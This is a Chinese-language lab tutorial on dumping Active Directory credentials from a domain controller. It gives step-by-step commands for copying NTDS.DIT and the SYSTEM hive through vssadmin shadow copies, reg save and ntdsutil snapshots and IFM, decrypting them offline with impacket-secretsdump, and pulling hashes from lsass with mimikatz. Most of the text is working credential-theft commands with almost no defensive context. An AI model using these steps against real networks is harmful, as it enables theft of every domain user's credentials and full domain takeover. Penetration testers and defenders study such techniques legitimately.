攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、NTDS.DIT文件简介
NTDS.DIT
文件是域控制器的数据库文件,该文件作为AD的数据库,存储了AD的所有数据,包括域内的用户对象、组和组成员身份等信息,以及域内所有用户的凭据信息。该文件位于域控制器下的%SystemRoot%
根目录下。NTDS.DIT文件与Windows主机中的SAM文件类似,不同点在于SAM文件中只存放本机的用户哈希,而NTDS.DIT文件中存放了所有域用户的哈希凭据。在windows中NTDS.DIT文件同样被Windows系统锁定,正常操作无法复制该文件,权限低于system的用户将无法读取。
二、使用vssadmin创建NTDS.DIT副本文件
vssadminn
作为卷影(又名快照)复制服务的组件管理平台,能够在不影响登录用户和程序正常运行的情况下备份文件。
普通域用户正常情况下不能登录域控。这里使用域管理员组用户登录域控。
1、在域控win server 2088下。执行下面的命令为C盘创建一个卷影副本。需要使用管理器权限打开命令行
vssadmin create shadow /for=c:
2、将卷影副本中的NTDS.DIT复制出来。其中,\\?\GLOBALROOT\Device\HarddiskVolumeshadowCopy1
就是我们在创建卷影副本时所返回的副本卷名。
copy \\?\GLOBALROOT\Device\HarddiskVolumeshadowCopy1\Windows\NTDS\NTDS.DIT C:\ntds.dit.save # 将将卷影副本中的NTDS.DIT复制出来,复制到C:\ntds.dit.save
3、删除刚刚创建的卷影副本。其中,b90079b2-fb2b-4940-a4ed-da38c9fae4f0
为成功创建卷影副本后返回的卷影副本ID。
vssadmin delete shadows /shadow={b90079b2-fb2b-4940-a4ed-da38c9fae4f0} # 删除刚刚创建的卷影副本
4、NTDS.DIT文件的解密方式和SAM文件差不多,它们都需要借助SYSTEM文件来解密。以下有两种方式导出SYSTEM文件
# 注册表方式
reg save HKLM\SYSTEM "C:\system.save"
# 卷影副本导出
copy \\?\GLOBALROOT\Device\HarddiskVolumeshadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
卷影存在,才能复制出来
5、在kali中使用``解密NTDS.DIT
impacket-secretsdump -ntds ./ntds.dit.save -system ./system.save LOCAL
三、使用Ntdsutil.exe获取NTDS.DIT
Ntdsutil.exe
是微软提供的一个为AD提供管理设施的命令行工具。利用该工具可以维护和管理AD的数据库,清理不常用的服务器对象,整理AD数据文件下线碎片等。特别注意的是,使用Ntdsutil.exe复制Windows目录下的文件不受Windows锁定机制的限制,且Ntdsutil.exe默认安装在域控上。
1、同样使用域管理员组用户登录域控。管理员运行命令行。执行下面的命令,创建一个快照。
ntdsutil snapshot "activate instance ntds" create quit quit # 创建快照
2、查看快照
ntdsutil.exe snapshot "list all" quit quit
3、加载刚刚创建的快照
ntdsutil snapshot "mount {caf952cb-6e9f-4a4f-b35c-dc9b90e808ec}" quit quit
4、将快照内的ntds.dit文件复制到C:\目录下
copy C:\$SNAP_202408050951_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit
5、将SYSTEM解密文件也复制出来
copy C:\$SNAP_202408050951_VOLUMEC$\windows\System32\config\SYSTEM C:\SYSTEM
导出来后,使用kali的impacket-secretsdump
解密即可。
6、卸载和删除快照。
ntdsutil snapshot "unmount {caf952cb-6e9f-4a4f-b35c-dc9b90e808ec}" quit quit # 卸载
ntdsutil snapshot "delete {caf952cb-6e9f-4a4f-b35c-dc9b90e808ec}" quit quit # 删除
7、也可以使用Ntdsutil
自带的IFM(媒体安装集)进行导出。Ntdsutil
在创建IFM时会自动生成快照,加载并将NTDS.DIT和SYSTEM文件复制出来。
ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" quit quit
结果存放在
C:\ntdsutil
文件夹中,在Active Direcory
中保存ntds.dit
文件,在registry
中保存SYSTEM
文件。
四、注入Lsass进程获取域用户哈希
在域中并非只有NTDS.DIT文件保存用户凭证,域内用户进行登录操作同样会在域控服务器的lsass进程中保存该域用户的凭证信息。将mimikatz
放置在域控制器中,执行下面的命令获取凭证。
privilege::debug # 开启debug特权
lsadump::lsa /inject inject # 从lsass进程中获取凭证